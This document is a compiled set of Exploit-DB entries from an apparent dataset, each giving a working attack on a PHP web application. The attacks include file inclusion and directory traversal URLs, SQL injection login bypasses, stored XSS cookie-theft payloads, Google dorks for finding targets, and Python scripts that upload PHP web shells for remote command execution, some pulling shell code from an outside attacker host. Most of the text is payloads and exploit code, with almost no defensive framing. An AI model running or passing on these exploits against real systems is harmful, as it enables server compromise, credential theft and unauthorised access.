deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14996
Description: Storyteller CMS - 'var' Local File Inclusion
Type: webapps
Platform: php
Date: 2010-09-13
Author: h4ck3r

Exploit:
==
[~] Title: Storyteller CMS (var) Local File Include Vuln
[~] Version: n/a
[~] Link: http://www.esselbach.com/freeware.php?id=2
==
[~] Author: BorN To K!LL - h4ck3r
[~] Contact: SQL@hotmail.co.uk
==
[~] Vuln code:
in GetTemplate function , line 113 to 127

    function GetTemplate($var)
    {               
        if (file_exists("templates/$var.tmp.php"))
        {
            require("templates/$var.tmp.php");
        }
        else
        {
            die ("Error: Can't open template $var");
        }        
        return $EST_TEMPLATE;                 
    }

[~] 3xploit:
/core.php?var=[Local-File]%00
==
[#] Greetings:

Dr.2 , darkc0de team , inj3ct0r's Community , and all ma friends ,,
==
Exploit-DB #24873
Description: Stradus CMS 1.0beta4 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-03-22
Author: DaOne

Exploit:
##########################################
[~] Exploit Title: Stradus CMS Multiple Vulnerabilities
[~] Date: 21-03-2013
[~] Author: DaOne aka Mocking Bird
[~] Vendor Homepage: http://stradus.eu/
[~] Software Link: http://sourceforge.net/projects/straduscms/
[~] Category: webapps/php
[~] Version: 1.0beta4
[~] Tested on: Apache/2.2.8(Win32) PHP/5.2.6
##########################################

# File Upload
http://localhost/SCMS_1.0/moduls/photo_album/upload.php
http://localhost/SCMS_1.0/moduls/simply_image/upload.php

# XSS / SQL Injection
http://localhost/SCMS_1.0/adminfiles/log_view.php?order_by={SQLi/XSS}
http://localhost/SCMS_1.0/moduls/photo_album/new.php?edit={SQLi/XSS}
Exploit-DB #34366
Description: Stratek Web Design Twilight CMS 4.0 - 'calendar' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-11-02
Author: Vladimir Vorontsov

Exploit:
source: https://www.securityfocus.com/bid/41895/info

Twilight CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

The following example URI is available:

http://www.example.com/news/?calendar = "; alert (" ONsec.ru% 20Russian% 20security% 20team \ n \ n "% 2Bdocument.cookie); / /
Exploit-DB #18815
Description: STRATO NewsLetter Manager - Directory Traversal
Type: webapps
Platform: php
Date: 2012-05-01
Author: Zero X

Exploit:
STRATO Newsletter Manager is vulnerable against Directory Traversal

Vendor: www.strato-cgi.de

Google Dork: inurl:"newsletter.php.cgi"


Exploit:

http://server/cgi-bin/newsletter.php.cgi?PHPSESSID=af92ed633ae0d06d1e24d22520f709f7&action=nl_show&nl=../../../../../../../../../../../../../../etc/passwd

Greetz Zero X
Exploit-DB #30992
Description: Strawberry 1.1.1 - 'html.php' Remote Code Execution
Type: webapps
Platform: php
Date: 2008-01-07
Author: Eugene Minaev

Exploit:
source: https://www.securityfocus.com/bid/27160/info

Strawberry is prone to a remote code-execution vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit will allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/strawberry/plugins/wacko/highlight/html.php?text=%3C!--{${eval($s)}}--%3E&s=include('www.example2.com/shell');
Exploit-DB #4430
Description: Streamline PHP Media Server 1.0-beta4 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-09-19
Author: BiNgZa

Exploit:
Vulnerability Type: Remote File Inclusion
Vulnerable file: /streamline-1.0-beta4/src/core/theme/includes/account_footer.php
Exploit URL: http://localhost/streamline-1.0-beta4/src/core/theme/includes/account_footer.php?sl_theme_unix_path=http://localhost/shell.txt?
Method: get
Register_globals: On
Vulnerable variable: sl_theme_unix_path
Line number: 2
Lines:

----------------------------------------------
<?
    require_once( $sl_theme_unix_path."/account/footer.php" );
    require_once( $sl_theme_unix_path."/common/footer.php" );

----------------------------------------------

GrEeTs To sHaDoW sEcUrItY TeAm & str0ke

FoUnD By BiNgZa

DoRk: :(

shadowcrew@hotmail.co.uk

# milw0rm.com [2007-09-19]
Exploit-DB #40078
Description: Streamo Online Radio And TV Streaming CMS - SQL Injection
Type: webapps
Platform: php
Date: 2016-07-08
Author: N4TuraL

Exploit:
######################
# Application Name : Streamo - Online Radio And Tv Streaming CMS

# Google Dork : inurl:rjdetails.php?id=

# Exploit Author : Cyber Warrior | Bug Researchers Group | N4TuraL

# Author Contact : https://twitter.com/byn4tural

# Vendor Homepage : http://rexbd.net/

# Vulnerable Type : SQL Injection

# Date : 2016-07-08

# Tested on : Windows 10 / Mozilla Firefox
#             Linux / Mozilla Firefox
#             Linux / sqlmap 1.0.6.28#dev

###################### SQL Injection Vulnerability ######################

# Location :
http://localhost/[path]/menu.php
http://localhost/[path]/programs.php
http://localhost/[path]/rjdetails.php

######################

# Vulnerable code :

$gid = $_GET["id"];


######################

# PoC Exploit:

http://localhost/[path]/programs.php?id=999999.9%27%20union%20all%20select%20concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28database%28%29%20as%20char%29%29%29%2C0x27%2C0x7e%29%2C0x[PII_REDACTED][PII_REDACTED]%20and%20%27x%27%3D%27x

# Exploit Code via sqlmap:

sqlmap -u http://localhost/[path]/programs.php?id=10 --dbs

Parameter: id (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=10' AND SLEEP(5) AND 'yTqi'='yTqi

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=-4222' UNION ALL SELECT NULL,CONCAT(0x[PII_REDACTED],0x586d5a4275566c486f6f78475a59506c524f[PII_REDACTED]746c7358645a544e[PII_REDACTED]78756364,0x[PII_REDACTED])-- uFiY
---

######################
Exploit-DB #1969
Description: Stud.IP 1.3.0-2 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-07-01
Author: Hamid Ebadi

Exploit:
/*------------------------------------------------
               IHS Public advisory
-------------------------------------------------*/

Stud.IP Remote File Inclusion
Stud.IP is a learning and an information management
system for universities, educational facilities and
enterprises.

http://www.studip.de
http://www.data-quest.de
http://www.sourceforge.net/projects/studip


Discovered by Hamid Ebadi Credit :
all go to IHS team (IHS : IRAN HOMELAND SECURITY)
www.ihsteam.com (persian)
www.ihsteam.net (english)


The original article can be found at:
http://www.hamid.ir/security/
http://www.IHSteam.com

Vulnerable Systems:
       studip 1.3.0-2 and below


Input passed to the "_PHPLIB[libdir]" parameter in
studip-phplib/oohforms.inc and to the
"ABSOLUTE_PATH_STUDIP"  parameter in
studip-htdocs/archiv_assi.php is not properly verified
before being used to include files.
This can be exploited to execute arbitrary PHP code by
including files from local or external resources.

POC Exploits:

The following URL will cause the server to include
external files
http://localhost/studip-1.3.0-2/studip-htdocs/archiv_assi.php?cmd=ls -al&ABSOLUTE_PATH_STUDIP=http://attacker/cmd.gif?
http://localhost/studip-1.3.0-2/studip-phplib/oohforms.inc?cmd=ls -al&_PHPLIB[libdir]=http://attacker/cmd.gif?

cmd.gif
<?
passthru($_GET['cmd']);
?>

Solution:
Edit the source code to ensure that input is properly verified.


greeting :
LorD , NT , C0d3r of IHS

# milw0rm.com [2006-07-01]
Exploit-DB #48989
Description: Student Attendance Management System 1.0 - 'username' SQL Injection / Remote Code Execution
Type: webapps
Platform: php
Date: 2020-11-04
Author: Mosaaed

Exploit:
# Exploit Title: Student Attendance Management System 1.0 - 'username' SQL Injection / Remote Code Execution
# Date: 4-11-2020
# Exploit Author: mosaaed
# Vendor Homepage: https://www.sourcecodester.com/php/14561/student-attendance-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/student-attendance-management-system.zip
# Version: 1.0
# Tested on: Parrot 5.5.17 + Apache 2.4.46

# replace shell.php with your own php reverse shell
# change [TARGET URL] to target URL or IP address
# setup your netcat listener for sum good ol shellz



#!/usr/bin/python3

import requests
import time

def sqli_admin():
        s = requests.Session()
        data = {"username":"admin'or'1'=1#","password":"mosaaed"}
        adminlogin = "http://localhost/sta/ajax.php?action=save_settings"
        s.post(adminlogin,data=data)
        return s

def trigger_rce(session):
        starttime = int(time.time())
        multipart_form_data = {
        "name": ("cyberscurity"),
        "email": ("test@test.com"),
        "contact" : ("[PII_REDACTED]"),
        "about" : ("attack"),
        "img" : ("shell.php", open("shell.php", "rb"))
        }
        session.post("http://localhost/sta/ajax.php?action=save_settings", files=multipart_form_data)
        get_shell(starttime-100,starttime+100,session)


def get_shell(start,end,session):
        for i in range(start,end):
                 session.get("http://localhost/sta/assets/uploads/"+str(i)+"_shell.php")
                 response = requests.get ("http://localhost/sta/assets/uploads/"+ str(i) +"_shell.php")
                 if response.status_code == 200:
                            print("http://localhost/sta/assets/uploads/"+str(i)+"_shell.php")
                        

def main():
        session = sqli_admin()
        trigger_rce(session)

if __name__ == '__main__':
        main()
Exploit-DB #48608
Description: Student Enrollment 1.0 - Unauthenticated Remote Code Execution
Type: webapps
Platform: php
Date: 2020-06-22
Author: Enesdex

Exploit:
# Exploit Title: Student Enrollment 1.0 - Unauthenticated Remote Code Execution
# Date: 2020-06-22
# Exploit Author: Selim Enes 'Enesdex' Karaduman
# Vendor Homepage: https://www.sourcecodester.com/php/14281/online-student-enrollment-system-using-phpmysqli.html
# Version: 1.0
# Tested on: Windows 10 / WampServer
# Usage : python3 exploit.py -u TARGET_URL -c CODE_TO_EXECUTE

import requests
import string 
import random 
import sys
import getopt

options, remainder = getopt.gnu_getopt(sys.argv[1:], 'hu:c:')

for opt, arg in options:
    if opt in ('-h'): 
        print('Usage: python3 exploit.py -u TARGET_URL -c CODE_TO_EXECUTE')
        exit()
    elif opt in ('-u'):
        url = arg
    elif opt in ('-c'):
        cmd = arg



res = ''.join(random.choices(string.ascii_uppercase + string.digits, k = 10)) 

session = requests.session()

burp0_url = url+"/admin/register.php"
burp0_cookies      = {}
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://192.168.1.100/student_enrollment/admin/register.php", "Content-Type": "multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]02434351", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
burp0_data = "----------------------------[PII_REDACTED][PII_REDACTED]02434351\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\n"+res+"\r\n----------------------------[PII_REDACTED][PII_REDACTED]02434351\r\nContent-Disposition: form-data; name=\"email\"\r\n\r\n"+res+"@gmail.com\r\n----------------------------[PII_REDACTED][PII_REDACTED]02434351\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n"+res+"\r\n----------------------------[PII_REDACTED][PII_REDACTED]02434351\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n12345678\r\n----------------------------[PII_REDACTED][PII_REDACTED]02434351\r\nContent-Disposition: form-data; name=\"c_password\"\r\n\r\n12345678\r\n----------------------------[PII_REDACTED][PII_REDACTED]02434351\r\nContent-Disposition: form-data; name=\"photo\"; filename=\"a.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php\n$cmd = shell_exec($_GET['cmd']); echo $cmd;\n?>\n\r\n----------------------------[PII_REDACTED][PII_REDACTED]02434351\r\nContent-Disposition: form-data; name=\"register\"\r\n\r\n\r\n----------------------------[PII_REDACTED][PII_REDACTED]02434351--\r\n"
session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)

rce = requests.get("http://192.168.1.100/student_enrollment/admin/images/"+res+".php?cmd="+cmd)

get_code = rce.text

print("Exploit Author--> Selim Enes 'Enesdex' Karaduman")

print(get_code)
Exploit-DB #40542
Description: Student Information System (SIS) 0.1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2016-10-14
Author: lahilote

Exploit:
# Exploit Title............... Student Information System (SIS) Auth Bypass
# Google Dork................. N/A
# Date........................ 14/10/2016
# Exploit Author.............. lahilote
# Vendor Homepage............. http://www.sourcecodester.com/php/10902/student-information-system-sis.html
# Software Link............... http://www.sourcecodester.com/sites/default/files/download/Bwire%20Charles/ucc.zip
# Version..................... 0.1
# Tested on................... xampp
# CVE......................... N/A


The audit_list in ucc/admin_login.php
-------------------------------------

----snip----

error_reporting(E_ALL ^ E_DEPRECATED);
if(isset($_POST['submit'])) {

include 'database_config2.php';
$myusername = $_POST['username'];
$mypassword = $_POST['password'];



	
$query = "SELECT * FROM adminstrator WHERE USERNAME='$myusername' and [CREDENTIAL_REDACTED]'";
$result = mysql_query($query);
$count = mysql_num_rows($result);
mysql_close();

----snip----

You can login with username and password: admin' or '1'='1


How to fix
----------
One of the method's to fix and secure such Auth Bypass flaw's, is to use the php function mysql_real_escape_string.
It causes that every of this characters \x00, \n, \r, \, '
get's replaced with a simple Backslash „/“, so the attackers commands become useless.

   Example:

error_reporting(E_ALL ^ E_DEPRECATED);
if(isset($_POST['submit'])) {

include 'database_config2.php';
$myusername = mysql_real_escape_string($_POST['username']);
$mypassword = mysql_real_escape_string($_POST['password']);



	
$query = "SELECT * FROM adminstrator WHERE USERNAME='$myusername' and [CREDENTIAL_REDACTED]'";
$result = mysql_query($query);
$count = mysql_num_rows($result);
mysql_close();


Credits
-------
This vulnerability was discovered and researched by lahilote

References
----------
http://www.sourcecodester.com/php/10902/student-information-system-sis.html
http://php.net/manual/en/function.mysql-real-escape-string.php
Exploit-DB #49865
Description: Student Management System 1.0 - 'message' Persistent Cross-Site Scripting (Authenticated)
Type: webapps
Platform: php
Date: 2021-05-14
Author: mohsen khashei

Exploit:
# Exploit Title: Student Management System 1.0 - 'message' Persistent Cross-Site Scripting (Authenticated)
# Date: 2021-05-13
# Exploit Author: mohsen khashei (kh4sh3i) or kh4sh3i@gmail.com
# Vendor Homepage: https://github.com/amirhamza05/Student-Management-System
# Software Link: https://github.com/amirhamza05/Student-Management-System/archive/refs/heads/master.zip
# Version: 1.0
# Tested on: ubuntu 20.04.2

# --- Description --- #

# The web application allows for an  Attacker to inject persistent Cross-Site-Scripting payload in Live Chat. 


# --- Proof of concept --- #

1- Login to Student Management System
2- Click on Live Chat button
3- Inject this payload and send : <image src=1 onerror="javascript:alert(document.domain)"></image>
5- Xss popup will be triggered.


# --- Malicious Request --- #

POST /nav_bar_action.php HTTP/1.1
Host: (HOST)
Cookie: (PHPSESSID)
Content-Length: 96

send_message_chat%5Bmessage%5D=<image src=1 onerror="javascript:alert(document.domain)"></image>
Exploit-DB #50579
Description: Student Management System 1.0 - SQLi Authentication Bypass
Type: webapps
Platform: php
Date: 2021-12-09
Author: Enes Özeser

Exploit:
# Exploit Title: Student Management System 1.0 - SQLi Authentication Bypass
# Date: 2020-07-06
# Exploit Author: Enes Özeser
# Vendor Homepage: https://www.sourcecodester.com/php/14268/student-management-system.html
# Version: 1.0
# Tested on: Windows & WampServer
# CVE: CVE-2020-23935

1- Go to following url. >> http://(HOST)/admin/login.php
2- We can login succesfully with SQL bypass method. 

-- Username = admin'#
-- Password = (Write Something)

NOTE: Default username and password is admin:admin.

(( HTTP Request ))

POST /process.php HTTP/1.1
Host: (HOST)
Connection: keep-alive
Content-Length: 51
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://(HOST)/
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://(HOST)/index.php?q=login
Accept-Encoding: gzip, deflate, br
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: navigate-tinymce-scroll=%7B%7D; navigate-language=en; PHPSESSID=1asdsd3lf9u2d7e82on6rjl

U_USERNAME=admin'#&U_PASS=123123&sidebarLogin=
Exploit-DB #43980
Description: Student Profile Management System Script 2.0.6 - Authentication Bypass
Type: webapps
Platform: php
Date: 2018-02-05
Author: L0RD

Exploit:
# Exploit title: Student Profile Management System Script 2.0.6 - Admin
Panel Authentication Bypass
# Dork: "Powered by: i-Net Solution"
# Date: 2018-02-06
# Exploit Author: Borna nematzadeh (L0RD) or borna.nematzadeh123@gmail.com
# Vendor Homepage:
https://www.phpscriptsmall.com/product/studentstaff-profile-management-system/
# Version: 2.0.6
# Category: Webapps
# CVE: N/A
# # # # #
# Description:
# With this exploit,Attacker can bypass admin panel Authentication.
# # # # #
# Proof of Concept:

# username : anything
# password : admin' or 'a'='a
# admin panel login : /admin_login.php
Exploit-DB #50412
Description: Student Quarterly Grading System 1.0 - 'grade' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-10-13
Author: Hüseyin Serkan Balkanli

Exploit:
# Exploit Title: Student Quarterly Grading System 1.0 - 'grade' Stored Cross-Site Scripting (XSS)
# Date: 11.10.2021
# Exploit Author: Hüseyin Serkan Balkanli
# Vendor Homepage: https://www.sourcecodester.com/php/14953/student-quarterly-grading-system-using-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14953&title=Student+Quarterly+Grading+System+using+PHP+and+SQLite+Database+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Student Quarterly Grading System v1.0 has Stored XSS at "Add New Class" Function.

Steps To Reproduce:
1 - Click to Class from Menu and click "Add New".
2 - Enter the payload to "grade" field as "<script>alert(document.cookie);</script>" without double-quotes and choose one of the Subject from list. (It can be anything, doesn't matter.)
3 - Click on Save and you are done. It's gonna be triggered when anyone visits the application. It's global and can trigger on any page.

PoC

POST /grading_system/Actions.php?a=save_class HTTP/1.1
Host: localhost
Content-Length: 457
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO6Q8ADzs1UvBltkB
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/grading_system/?page=class
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=arkil63kkqsabj3b8cf3oimm2j; __news247__logged=1; __news247__key=4599c04802b500f180c29bc60bdf1923
Connection: close

------WebKitFormBoundaryO6Q8ADzs1UvBltkB
Content-Disposition: form-data; name="id"


------WebKitFormBoundaryO6Q8ADzs1UvBltkB
Content-Disposition: form-data; name="subject_id"

3
------WebKitFormBoundaryO6Q8ADzs1UvBltkB
Content-Disposition: form-data; name="grade"

<script>alert(document.cookie);</script>
------WebKitFormBoundaryO6Q8ADzs1UvBltkB
Content-Disposition: form-data; name="section"


------WebKitFormBoundaryO6Q8ADzs1UvBltkB--
Exploit-DB #50376
Description: Student Quarterly Grading System 1.0 - SQLi Authentication Bypass
Type: webapps
Platform: php
Date: 2021-10-05
Author: Blackhan

Exploit:
# Exploit Title: Student Quarterly Grading System 1.0 - SQLi Authentication Bypass
# Date: 04.10.2021
# Exploit Author: Blackhan
# Vendor Homepage: https://www.sourcecodester.com/php/14953/student-quarterly-grading-system-using-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14953&title=Student+Quarterly+Grading+System+using+PHP+and+SQLite+Database+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Student Quarterly Grading System v1.0 Login page can be bypassed with a simple SQLi to the username parameter.

Steps To Reproduce:
1 - Go to the login page http://localhost/grading_system/login.php
2 - Enter the payload to username field as "bypass' or 1=1-- -" without double-quotes and type anything to password field.
3 - Click on "Login" button and you are logged in as administrator.

PoC

POST /grading_system/Actions.php?a=login HTTP/1.1
Host: localhost
Content-Length: 45
sec-ch-ua: "Chromium";v="93", " Not;A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/grading_system/login.php
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=arkil63kkqsabj3b8cf3oimm2j
Connection: close

username=bypass'+or+1%3D1--+-&[CREDENTIAL_REDACTED]